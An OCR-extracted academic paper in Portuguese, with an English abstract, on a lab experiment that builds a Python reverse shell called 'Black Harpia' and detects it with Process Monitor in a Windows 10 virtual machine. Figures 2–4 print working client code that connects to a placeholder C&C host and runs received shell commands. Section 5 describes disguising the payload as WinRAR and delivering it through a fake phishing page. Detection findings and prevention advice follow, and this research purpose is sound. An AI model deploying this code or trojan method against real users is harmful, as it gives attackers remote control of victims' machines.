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Abstract. This article presents the development and behavioral analysis of a malicious Re-
verse Shell connection in a controlled virtualized environment. A custom Python-based
Reverse Shell was created and deployed on a Windows 10 virtual machine to simulate a
real-world attack. The study focuses on identifying malicious activities by analyzing net-
work traffic, system processes, and application behavior, specifically observing the creation
of TCP connections to external hosts and the subsequent execution of suspicious subpro-
cesses. The research demonstrates a practical methodology for detecting and analyzing
the behavior of this type of threat, highlighting key indicators of compromise in virtualized
systems.

Resumo. Este artigo apresenta o desenvolvimento e a andlise comportamental de uma
conexdo reversa maliciosa em um ambiente virtualizado e controlado. Um Reverse Shell
em Python foi criado e implantado em uma mdquina virtual com Windows 10 para simular
um ataque real. O estudo foca na identificacdo de atividades maliciosas através da andlise
de trdfego de rede, processos do sistema e comportamento de aplicagdes, observando es-
pecificamente a criagdo de conexoes TCP[4] com hosts externos e a subsequente execugdo
de subprocessos suspeitos. A pesquisa demonstra uma metodologia prdtica para a detec¢do
e andlise do comportamento deste tipo de ameaga, destacando indicadores-chave de com-
prometimento em sistemas virtualizados.

1. Introducao

Com a crescente dependéncia de computadores e seus sistemas operacionais na sociedade e nas
organizac¢des modernas, tem ampliado a janela para diversos tipos de ataques maliciosos. Entre a var-
iedade de estratégias empregadas pelos atacantes para corromper sistemas e estabelecer comunicagao,
o Reverse Shell [22]] destaca-se como um dos mais utilizados e eficazes métodos de ataque.

A deteccao de Reverse Shells destaca um desafio significativo para equipes de seguranga, dado
que, andlises isoladas de pacotes e logs de rede apresenta-se insuficiente para constatar com precisao
esse tipo de ameacga. Torna-se necessdrio adotar uma abordagem de andlise comportamental, que
relacione as atividades de rede com as reacoes de processos no endpoint.

Este trabalho apresenta exploracdo experimental do comportamento de um Reverse Shell ma-
licioso em ambientes Windows virtualizados e demonstra como o Process Monitor 18] pode ser
aplicado para identificar esse tipo de ameaca. Para esse fim, foi desenvolvido virus do tipo Reverse
Shell funcional, feito em python [16], que foi implatado e executado em um ambiente controlado de
uma maquina virtual para simular um ataque real.

2. Trabalhos Relacionados

A pesquisa sobre Reverse Shells € um campo ativo na drea de ciberseguranca, havendo diferentes
trabalhos e estudos focados na sua detec¢ao e mitigacao.



O artigo ”Living-off-The-Land Reverse-Shell Detection by Informed Data Augmentation” (3],
escrito por Trizna et al., aborda desafios sobre a deteccao de ataques Living-off-the-Land (LOTL), que
fazem uso de Reverse Shell através de aplicacOes legitimas para dificultar sua identificacdo em logs
de sistema. Os autores propdem uma estrutura de data augmentation (aumento de dados) guiada por
inteligéncia de ameagas, utilizando modelos de Machine Learning treinados a partir de modelos de
ataque conhecidos em logs legitimos. Os estudos resultantes demonstraram que a abordagem descrita
consegue manter um alto poder preditivo, taxas de falso positivos proximas de zero e robustez contra
ataques adversariais.

O trabalho de Alsabbagh et al., "Hacking the Backbone: Shell Reverse Attacks on IloT Sys-
tems”’[19], se concentra nas vulnerabilidades do ambiente de Industrial Internet of Things (IloT),
aonde sistemas como controladores e sensores se encontram expostos a ataques de Reverse Shell. A
pesquisa conduzida pelos autores examina como invasores exploram vulnerabilidades de injecdo de
comando e credenciais fracas para o estabelecimento de canais de comunicacao ocultos, contornando
firewalls tradicionais. Os autores demonstraram a eficacia de payloads de Reverse Shell baseados
em Python em um um ambiente de fabrica simulado (Fischertechnik Lernfabrik 4.0), demonstrando o
roubo de dados e interrup¢ao de operacdes industriais. O artigo destaca a importancia da segmentagdo
de rede em conjunto com sistemas avancados de detec¢ao de intrusdo e patches de seguranca.

Por fim, o artigo ”An Exploit Traffic Detection Method Based on Reverse Shell” [22], escrito
por Liu et al., aborda a dificuldade na deteccdo de trafego de exploragcdo de vulnerabilidade, espe-
cialmente quando criptografado. O método ETDetector proposto pelos autores utiliza o Reverse Shell
como ponto de entrada, por ser um dos comportamentos de exploracdo mais comuns. A metodologia
envolve identificacdo inicial do trafego de Reverse Shell na fase de execucdo do shellcode utilizando
um modelo de arvore de decisdo em conjunto com o rastreamento desse trafego suspeito de volta a
fase de entrega do shellcode. Os testes conduzidos pelos autores demonstraram que o ETDetector
aumentou a taxa de detec¢do em até 50% quando comparado a métodos anteriores e sua eficicia
permaneceu até mesmo contra trafego de exploracdo criptografado.

3. Fundamentacao Teérica

A seguranca da informacdo baseia-se na prote¢do dos dados por meio de politicas e controles que
garantem a confidencialidade, integridade e disponibilidade desses ativos, principios conhecidos
como a Triade CID [1]. Esses componentes sustentam as praticas modernas de ciberseguranga, focada
a precaucao, deteccao e resposta a ameacas que exploram vulnerabilidades em sistemas digitais.

A confidencialidade € violada quando o invasor ganha acesso ao sistema, conseguindo ex-
trair informacodes sensiveis e privadas sem conhecimento do usudrio. A integridade é comprometida
quando o atacante modifica arquivos e dados da maquina, instala malware adicional ou manipula os
processos internos afim de mudar o comportamento esperado do ambiente. Por fim, a disponibilidade
¢ afetada quando o atacante interrompe ou bloqueia servigos e sobrecarrega recursos da maquina,
impedindo a vitima de usar seu sistema.

No contexto de Reverse Shells, a cibersegurangca moderna adota praticas baseadas em
prevencgao, deteccdo e resposta. A prevengao envolve atualizagdes constantes, segmentacao de rede e
controle de privilégio. A deteccdo envolve mecanismos que sejam capazes de detectar padrdes anor-
mais de trafego e comportamentos estranhos em processos e conexdes de saida. A resposta requer
o isolar o host afetado, coletar evidéncias e aplicar as contramedidas necessdrias para evitar ataques
futuros.

Os principios de ciberseguranga abordados devem considerar a camada adicional de abstracao
entre o hospedeiro e as méquinas virtuais dentro de ambientes virtualizados. Isso inclui o moni-
toramento de rede inter-VM, anélise de logs do hipervisor e ferramentas de seguranca integradas a



infraestrutura virtual, garantindo que ataques maliciosos possam ser detectados mesmo quando con-
finadas em ambientes isolados.

3.1. Reverse Shell

Entre diversas técnicas utilizadas, o Reverse Shell[21] € amplamente utilizado, pois diferentemente
dos meios mais tradicionais de acesso remoto, onde o agente malicioso tenta abrir um canal de en-
trada (inbound) para o sistema da vitima, o Reverse Shell faz justamente o contrdrio, em que, a
maquina atacada é a que estabelece uma conexao de saida (outbound) para o servidor de comando
e controle (C&C) contralado pelo atacante. Esse método € em especial eficaz, porque a maioria dos
firewalls (principalmente corporativos) tendem a bloquear rigorosamente conexoes inbound, mas sao
mais flexiveis com o trafego de saida, permitindo que o agente malicioso se esconda entre conexdes
legitimas.

3.2. Observabilidade

Ferramentas como o Process monitor, voltadas a observagdo de variados tipos de eventos no sis-
tema em tempo real, juntamente com a virtualizacdao de ambientes, permitem de forma controlada e
protegida as anédlises de seguranga e pesquisas comportamentais de soffwares que podem ser poten-
cialmente perigosos.

Esses recursos possibilitam compreender os mecanismos de atuacdo das ameacas, e desen-
volver estratégias mais eficazes de detec¢do e mitigagdo em sistemas operacionais.

4. Ferramentas

As principais ferramentas utilizadas para o estudo foram: Oracle VirtualBox [14]], Process Monitor
[18] e um virus privado de Reverse Shell, desenvolvido em Python (Black Harpia).

4.1. Oracle VirtualBox

A Oracle VirtualBox [14] é um software de virtualizagdo de codigo aberto utilizado para a criacdo
e execucdo de maquinas virtuais. Com essa ferramenta podemos emular uma diversa quantidade de
sistemas operacionais de forma segura, pois as maquinas virtuais sao isoladas do sistema operacional
principal. Para a realizac@o dos testes, foi utilizado uma ISO do Windows 10 padrao [9]].

4.2. Process Monitor

O Process Monitor [18] é uma ferramenta avancada de monitoramento para Windows que exibe as
atividades do sistema de arquivos, do Registro e dos processos ou threads em tempo real. O software
combina recursos de dois utilitirios herdados da Sysinternals [10], Filemon [12] e Regmon [13],
acrescentando uma extensa lista de aprimoramentos, como por exemplo, a filtragem avangada (nao
destrutiva), propriedades abrangentes de eventos e pilhas completas de threads, dentre outros. Sua
funcionalidade foi utilizada para melhor visualizar o que ocorre no sistema do computador quando
sob o comando de uma Reverse Shell (Conexdes, comandos € processos).

4.3. Black Harpia

O Black Harpia é o Reverse Shell desenvolvido exclusivamente para esse trabalho utilizando python
como linguagem de programacdo. Ele foi baseado nas funcionalidades do meterpreter-shell[17], que
€ uma ferramenta de C&C amplamente utilizada em testes de penetragdo. O Black Harpia é composto
por dois médulos, sendo eles o server (controlador) e o client (vitima).

O moédulo servidor atua como o niicleo do Comando e Controle (C&C), e roda exclusivamente
na maquina atacante. Ele € capaz de gerenciar multiplos clientes conectados a0 mesmo tempo, pois
faz o uso de multi-threading, possibilitando o fluxo de envio e recebimento de dados de forma fluida.



O moédulo de cliente € o agente malicioso, que faz a ponte entre o sistema operacional infec-
tado e o mestre controlador (atacante). O cliente roda exclusivamente na maquina da vitima. Ele
recebe e executa os comandos vindos do servidor, além de implementar uma estratégia de connection
retry, onde caso o controlador esteja offfine, o cliente estard sempre tentando se reconectar novamente.
Sendo assim, quando o atacante estiver online mais uma vez, a conexao reversa sera restabelecida.

A Figura|[T]apresenta a arquitetura da Black Harpia.
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Figure 1. Arquitetura Black Harpia

A Figura 2] apresenta o cédigo-fonte do iniciador do reverse shell na maquina alvo.

import socket
import time

from commands import CommandsController
while True:
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

controller = CommandsController(server)

host = 'C&C_SERVER_HOST'
port = 7777

server.connect((host, port))
controller.register_all_commands( )

while True:
command = server.recv(1000000).decode('utf-8")
controller.execute_command(command)

time.sleep(60000)

except Exception as e:
time.sleep(5)

Figure 2. Iniciador do reverse shell na maquina alvo



A Figura 3] apresenta como os comandos sdo interpretados na maquina alvo.

from .chdir import chdir
from .shell import shell

class CommandsController:
def __init__(self, server_connection):
self.server = server_connection

self.commands = {}

def register_command(self, command_name, command_function):
self.commands[command_name] = command_function

def execute_command(self, line):
sliced_line = line.split(" ")
command_name = sliced_line[0]
if command_name in self.commands:
return self.commands[command_name](sliced_line[1l:], self.server)
else:
return self.commands["__execute_shell_command__"](sliced_line, self.server)
def register_all_commands(self):
self.register_command("chdir", chdir)

self.register_command("cd", chdir)

self.register_command("__execute_shell_command__", shell)

Figure 3. Controlador de comandos na maquina alvo
A Figura [ apresenta como os comandos sdo executados no sistema infectado.

import subprocess
import socket

def shell(args, server: socket.socket):

response = '\033[1;92msuccess\033[0;0m, command executed.'
command = " ".join(args)
try:

execution = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

out, err = execution.communicate()

if out: response = out.decode('utf-8', 'ignore')
elif err: response = err.decode('utf-8', 'ignore')

except subprocess.CalledProcessError as e:
response = f"Error executing command: {e.stderr}"

server.send(f'\n{response}\n'.encode('utf-8'))

Figure 4. Executor de comandos na maquina alvo

4.4. Pylnstaller

O Pylnstaller € uma ferramenta de empacotamento de aplicacdes desenvolvidas em python, ele
¢é capaz de gerar executdveis independentes como o .exe no Windows, ou binérios no Linux e macOS,
reunindo o interpretador e todas as dependéncias necessdrias em um unico artefato. Nesse caso, o
utilitario foi necessdrio para exportar o exploit malicioso, de maneira que permita a execucao simples

e direta no sistema da vitima.



4.5. EXE Joiner

EXE Joiner [8] é um software que permite agrupar diversos arquivos em um unico executavel, como
.dll, .pdf, .exe e diversas outras extensoes, ¢ amplamente utilizado de forma legitima em instaladores
de programas que precisam armazenar os arquivos necessdrios para o funcionamento correto do
software, porém, também € empregado por cibercriminosos para ocultar malwares em aplicagcdes
legitimas.

5. Metodologia

O principal objetivo deste trabalho € observar e emular a infeccdo do virus, o comportamento do com-
putador durante o ataque, e quais a¢des o atacante pode fazer enquanto a conexao entre as maquinas
estiver estabelecida. As proximas se¢Oes apresentam em detalhes as metodologias e tecnologias uti-
lizadas.

S.1. Criacao e ocultacao do payload

Ap0s garantir a defini¢do e acessibilidade do endereco do server de comando e controle, foi necessario
gerar um arquivo executdvel .exe que contém todo o cdédigo malicioso. Para isso, o Pylnstaller [15] foi
empregado, compilando os arquivos do malware, de maneira que nao seja necessario um interpretador
python em tempo de execugao no sistema da vitima.

Com o payload compilado e disponivel, o EXE Joiner [8] foi utilizado para "juntar” a carga
util com o programa WinRAR [20] que serd o cavalo de tréia responsavel por iniciar o processo de
exploracao.

5.2. Infeccao da vitima

Para a simulacio do usudrio que serd atacado, foi criado uma maquina virtual a partir do Oracle Vir-
tualBox, e entdo foi instalado a versao 22H2 64bits do Windows 10 Home (Compilagdao 19045.2965),
que foi ativada digitalmente de forma legitima por meio do acesso a uma conta Microsofft.

Uma pégina web falsa foi criada para o ataque phishing, onde induzia o usudrio a realizar o
download do cavalo de tréia para um uso regular. Apds o download, o arquivo foi executado, assim,
iniciando o protocolo de explora¢do maliciosa.

5.3. Estabelecendo conexao

Com o software malicioso estando em execu¢do no sistema operacional da vitima, ocorre a tentativa
de comunicag@o com o server.

1. Comportamento do server: O servico de C&C permanece no aguardo de novas conexdes dos
hosts comprometidos. Quando ocorre a solicitagdo de comunicagdo, um handshake é efetuado
e a ligacdo € estabelecida, o socket € inserido na lista de clientes conectados e entdo o server
passa a exercer controle sobre a vitima.

2. Comportamento do client: Com a ativacido do payload, inicia-se uma sequéncia de tenta-
tivas de conexdo ao server. Falhas ativam um mecanismo de retentativa para preservar o
canal entre a vitima e o controlador, mesmo que ele esteja offline. Apds a estabilizacdo da
comunicacdo, o client permanece no aguardo de instrugdes, e quando um comando € rece-
bido, ele é imediatamente executado e os resultados sdo enviados para o atacante permitindo
interacoes subsequentes.

5.4. Execucao de comandos

Com a maquina comprometida, foram executados comandos basicos via processo powershell no win-
dows para avaliar o risco em potencial que o atacante possui sob o sistema. As operacdes abrangeram
manipulagdo de arquivos, exploracao de caminhos de diretdrios e abertura de navegadores para aces-
sos a sites, com o objetivo de mapear as capacidades disponiveis ao invasor.



5.5. Analise comportamental da rede e o sistema

Através da ferramenta Process Monitor, buscamos observar, analisar e identificar quais processos e
conexodes sao consideradas andmalas, indicando que a maquina se encontra de fato infectada pelo
virus e quais comportamentos sao indicios da infecc¢ao.

5.6. Refinamento e classificacao de processos suspeitos

Ap0s o processo inicial de identificagdo discutido na Se¢do 5.1, comecamos a isolar processos que
consideramos potenciais suspeitos. O processo (WinRAR _.exe) foi escolhido para ser analisado de
forma mais detalhada, afim de confirmar suspeitas e verificar se suas a¢des correspondiam a padroes
de conexdo reversa.

Aplicamos um filtro de identificador de processo (PID) [11] durante as capturas para a
eliminacdo de eventos redundantes, resultando na selecdo do 6504. O PID em questdo manteve
atividade constante mesmo apés interrupcoes tempordrias de rede, grande indice de mecanismos de
persisténcia utilizadas em Reverse Shells.

¥ Process Monitor - Sysintemnals: www.sysinternals.com — m] X
File Edit Event Filter Tocls Options Help
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Time .. Process Name PID Operation Path Result Detal e

8283 WinRAR_exe 6504 %TCP TCPCopy cobaia:49777 > 192.168.15.36:7777 SUCCESS Length: 11, segru...
8283 WinRAR_exe 6504 D TCP Receive  cobaia:49777 -> 192.168.15.36:7777 SUCCESS Length: 11. segru...
8283 HWnRAR_exe 6504 &1 Process Creale  C:\Windows\system32\cmd exe SUCCESS PID: 4764. Comma...
8283 JWinRAR_exe 6504 £33 Thread Create SUCCESS Thread ID: 5220
8283 WinRAR_exe 6504 {33 Thread Creale SUCCESS Thread ID: 5068
8283 WinRAR_exe 6504 A Process Profiing SUCCESS User Time: 0.0312_
8283 WinRAR_exe 6504 LA Process Profiling SUCCESS User Time: 0.0312_.
8284 JWinRAR_exe 6504 LA Process Profiing SUCCESS User Time: 0.0312_.
8284, WinRAR_exe 6504 LA Process Profilng SUCCESS User Time: 0.0312_.
8284, WinRAR_exe 6504 LA Process Profiling SUCCESS User Time: 0.0312_.
8:28:4 [ LWinRAR_exe 6504 A Process Profiing SUCCESS User Time: 0.0312_
8:28:4 [ WnRAR_exe 6504 A Process Profiing SUCCESS User Time: 0.0312_
8284 JWinRAR_exe 6504 L~ Process Profilng SUCCESS User Time: 0.0312_.
8284, JWinRAR_exe 6504 [~ Process Profiing SUCCESS User Time: 0.0312_.
8:284.. WnRAR_exe 6504 i Process Profiing SUCCESS User Time: 0.0312...
8:28:4.. WnRAR_exe 6504 b Process Profiing SUCCESS User Time: 0.0312...
8:284.. WnRAR_exe 6504 i Process Profiing SUCCESS User Time: 0.0312...
8:285.. WinRAR_exe 6504 b Process Profiing SUCCESS User Time: 0.0312...
8285 WinRAR_exe 6504 pProcess Profiing SUCCESS User Time: 0.0312_.
8285, WinRAR_exe 6504 3 Thread Bit SUCCESS Thread ID: 5220, _..
8285, (HWinRAR_exe 6504 £ Thread Bt SUCCESS Thread ID: 5068, _..
8:285.. (HWinRAR_exe 6504 2 TCP Send cobaia:43777 > 192.168.15.36:7777  SUCCESS Length: 41, starfim...
8285, WnRAR_exe 6504 {vProcess Profiing SUCCESS User Time: 0.0312_.
8285, (WinRAR_exe 6504 HvProcess Profiing SUCCESS User Time: 0.0312..
8285, WinRAR_exe 6504 {vProcess Profiing SUCCESS User Time: 0.0312..
B85 L IWnRAR exe AR LAIPmeess Pmfiinn SIKTFSS |lzer Time- 11 312 M

Showing 277 of 862,644 events (0.032%) Backed by virtual memory

Figure 5. Eventos dos processos suspeitos

Com os filtros ativados, foi possivel observar de forma mais detalhada as interagdes gerais do
processo suspeito, como atividades de rede, alocagao de recursos de hardware, criagdo e manipulacao
de subprocessos e alteragdes no sistema de arquivos, conforme Figura 3]

6. Resultados

6.1. Identificacao inicial de processos potencialmente maliciosos

Nesta etapa, realizamos uma coleta inicial de informagdes, analisando os processos em execu¢do
dentro do ambiente virtual. Nossa andlise teve como objetivo detectar comportamentos andmalos ou
incomuns de processos que pudessem indicar um potencial comprometimento.

O monitoramento e registro de atividades dos processos do sistema operacional foi feita com
a ferramenta Process Monitor (ProcMon). A captura em si foi configurada para registrar todos os



eventos de processo, mantendo em foco a criagdo de processos, execuc¢do de comandos via terminal,
tentativas de conexao de saida, relacdo pai-filho entre processos e a leitura ou criagdo de arquivos.

Durante os experimentos, observamos a criagdo recorrente de subprocessos de terminal origi-
nados do processo WinRAR _.exe Além disso, notamos que o processo realizava tentavivas frequentes
de conexdo TCP [4] com outro endereco /P especifico, comportamento tipicamente encontrado em
Reverse Shells. A auditoria e politica de seguranca foi crucial para destacar processos como can-
didatos a classificagao maliciosa.

6.2. Analise correlacional entre processos/subprocessos e atividades de rede

Nesta etapa, foi realizada uma filtragem um pouco mais direcionada para determinar a correlagdo das
atividades com eventos de rede. O foco esteve na identificacao da criagdo de processos e subprocessos,
com como na andlise do trafego de rede originadas ou recebidas por esses processos, com o objetivo
de detectar possiveis comportamentos maliciosos.

A filtragem permitiu isolar dados relevantes, como a geracao de processos filhos que execu-
tavam comandos no terminal do sistema e o envio de informacdes para o host 192.168.15.36 na porta
7777, 0 que € um bom indicador de conexdes reversas maliciosas.
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Time ... Process Name FID  Operation Path Resutt Detail G
8345 | yWinRAR_exe 6504 £33 Thread Exit SUCCESS Thread ID: 4064, ...
8:34:5.. | WinRAR_exe 6504 &g Thread Exit SUCCESS Thread D: 7672, ...
8:34:5.. | WinRAR_exe 6504 ' TCP Send cobaia: 45862 -> 152.168.15.36.7777 SUCCESS Length: 41, startim...
8:34:5... | WinRAR_exe 6504 &3 Process Create  C:\Windows'\system32'cmd .exe SUCCESS FID: 6032, Comma...
8:34:5.. [ WinRAR_exe 6504 £ Thread Create SUCCESS Thread 1D: 7124
8345 [ WinRAR_exe 6504 £33 Thread Create SUCCESS Thread ID: 8632
8:34:5... 4 WinRAR_exe 6504 £ Thread Exit SUCCESS Thread ID: 8632, ...
8:34:5 . | WinRAR_exe 6504 £ Thread Exit SUCCESS Thread ID: 7124, ...
8:34:5.. | WinRAR_exe 6504 ! TCP Send cobaia:43862 -> 192.168.15.36:7777 SUCCESS Length: 41, startim...
8:34:5.. | WinRAR_exe 6504 &3 Process Create  C:\Windows'\system32'cmd exe SUCCESS PI1D: 5500, Comma...
8:34:5.. | WinRAR_exe B504 £33 Thread Create SUCCESS Thread |D: 3088
8:34:5.. | WinRAR_exe 6504 f:BThread Create SUCCESS Thread |D: 7736
8:34:5.. | WinRAR_exe 6504 £ Thread Exit SUCCESS Thread ID: 7736, ...
8345 WinRAR_exe 6504 53 Thread Exit SUCCESS Thread ID: 3088, ...
8:35:0... WinRAR_exe 6504 ' TCP Disconnect cobaia:49862 -» 192.168.15.36.7777 SUCCESS Length: 0, segnum:...
8:35:0... WinRAR_exe 6504 "' TCP Reconnect cobaia:45884 -» 192.168.15.36:7777 SUCCESS Length: 0, segnum:...
8:35:0... yWinRAR_exe 6504 ' TCP Connect  cobaia:43884 - 192.168.15.36:7777 SUCCESS Length: 0, mss: 14...
8:354.. | WinRAR_exe 6504 ﬁ{TCP TCPCopy cobaia: 49384 -» 192.168.15.36:7777 SUCCESS Length: 12, seqnu...
8:354.. [ WinRAR_exe 6504 "' TCP Receive  cobaia:45884 -> 192.168.15.36:7777 SUCCESS Length: 12, seqnu...
8:35:4.. | WinRAR_exe 6504 & Process Create  C:\Windows'\system32'cmd exe SUCCESS PID: 1820, Comma...
8:354... | WinRAR_exe 6504 £33 Thread Create SUCCESS Thread 1D: 8020
8:354.. | WinRAR_exe B504 £33 Thread Create SUCCESS Thread |D: 1956
8:35:4... | WinRAR_exe 6504 £ Thread Exit SUCCESS Thread ID: 1956, ...
8354 . JWinRAR_exe 6504 £ Thread Exit SUCCESS Thread 1D: 8020, ...
8354 . JWinRAR_exe 6504 ‘£ TCP Send cobaia: 49884 -» 152.168.15.36:7777 SUCCESS Length: 41, startim ... v
Showing 29 of 1,966,568 events (0.00143% Backed by virtual memory

Figure 6. Processos iniciados apos haver interacoes com a rede

A correlacdo entre a linha temporal dos eventos de execugdo e os logs de rede possibilitou o
mapeamento preciso do comportamento do processo 6504, identificando que houve sincronismo entre
o recebimento de dados, execugdes locais e o envio de informagdes suspeitas, conforme Figura [6]

Além das atividades analisadas, também foi possivel identificar manipulacdes de arquivos
no sistema, realizadas por um processo filho do PID 6504. Esse subprocesso executou comandos
no terminal que resultaram na criacdo e escrita de arquivos locais, como por exemplo o artefato
texto.txt localizado no diretdrio C:\Users\vitima\Downloads), evidenciando a execugdo de
acoes diretas no sistema hospedeiro apds o recebimento de um comando. Esse comportamento refor¢a
ainda mais os indicios de uma sessao remota ativa, conforme Figura
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Figure 7. Processos filhos do processo 6504 interagindo com o FileSystem

6.3. Avaliacao comportamental

Baseado na andlise comportamental, foi possivel compreender de forma detalhada o ciclo completo
de acdo do agente malicioso. Apos 0 comprometimento inicial, o processo estabeleceu uma conexao
com um server remoto por meio do protocolo TCP/IP [4], permanecendo em estado de escuta para o
recebimento de instrucdes externas. Cada comando recebido era interpretado e executado localmente
por um subprocesso do terminal, que, em seguida, submetia a resposta da execu¢do ao host remoto,
caracterizando um canal ativo de controle interativo entre a madquina comprometida e o invasor.

Durante o monitoramento, observou-se ainda um mecanismo de persisténcia, no qual o pro-
cesso comprometido tentava restabelecer a comunica¢do automaticamente sempre que a conexao era
interrompida, garantindo a continuidade do acesso remoto. Esse comportamento, aliado a criagdo
de subprocessos, a manipulacio de arquivos e ao envio recorrente de dados para o0 mesmo endereco
remoto, demonstra um padrao consistente com sessdes remotas de controle, consolidando a evidéncia
de uma atividade maliciosa ativa e persistente dentro do ambiente virtualizado.

7. Conclusao

O trabalho teve como objetivo estudar e investigar o comportamento de um ataque de Reverse Shell
em um ambiente virtualizado e controlado. Os experimentos foram realizados utilizando o virus
experimental Black Harpia, projetado para simular uma invasio de conexao reversa, e a ferramenta
Process Monitor, que permitiu visualizar um registro detalhado dos mecanismos internos do ataque
durante uma invasao.

Durante nossos experimentos, conseguimos identificar o processo WinRAR _.exe como mali-
cioso, evidenciado pelo seu comportamento anormal. As atividades andmalas percebidas incluem:
Uma constante reconexao 7CP com o atacante em meio a uma falha de rede, leitura de diretdrios
e manipulagdo direta de arquivos no sistema da vitima (Criacdo, leitura, eliminacdo). Os resulta-
dos encontrados reforcam a importancia de possuir uma andlise comportamental como abordagem
complementar as técnicas tradicionais de deteccdo baseadas em assinaturas, visto que ataques de Re-
verse Shell diferentes podem utilizar métodos que escapam de filtros estiticos. O Process Monitor
se provou como uma eficiente ferramente de observacdo, permitindo o estudo e identificacdo entre
processos e conexdes de forma detalhada.

7.1. Métodos de prevenciao

E de extrema importincia destacar que no momento que a execucio de um Reverse Shell é bem-
sucedida, o atacante ja possui controle remoto sobre a maquina da vitima. Neste cendrio, as melhores
estratégias de protecdo do usudrio sdo as prevencdes com um conjunto de multiplas camadas de
seguranca para:
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* Para reduzir significativamente a probabilidade de exploracdo de vulnerabilidades, o usudario
deve manter suas aplicagdes e o seu sistema atualizado com os patches de seguranca mais re-
centes, pois muitas vulnerabilidades e riscos de comprometimento sdo corrigidas dessa forma.
Além disso, testes estaticos e dinamicos de segurancga de aplicativos podem identificar falhas
de cédigo e comportamentos nao seguros.

* A configuracdo de firewalls[3] e sistemas de detec¢ao/prevengao de intrusoes [7]] (IDS/IPS)
consegue barrar tentativas de conexdes nao autorizadas de saidas fortemente vistas em ataques
de Reverse Shell. Proxy [6]] e e filtragem de DNS [2] s@o altamente recomendados em ambi-
entes corporativos pela sua capacidade de monitorar e restringir destinos externos suspeitos.

* E crucial que o usudrio desconfie de qualquer dado recebido na internet, assumindo sempre
que ha alguma maé intencao por tras dos dados e mensagens recebidas (especialmente estran-
hos, visto a natureza andénima da internet). Coisas como scripts, links e anexos devem ser
analisados com cautela, pois muitos ataques utilizam engenharia social e enderegos falsos
(pequenas variacoes em dominios legitimos) para induzir a vitima a clicar.

* Por fim, o controle de privilégios minimos, monitoramento continuo de logs e trafego de rede e
controle de privilégios ajudam a detec¢do de comportamentos anormais e a reduzir o impacto
de uma invasdo caso acontega.
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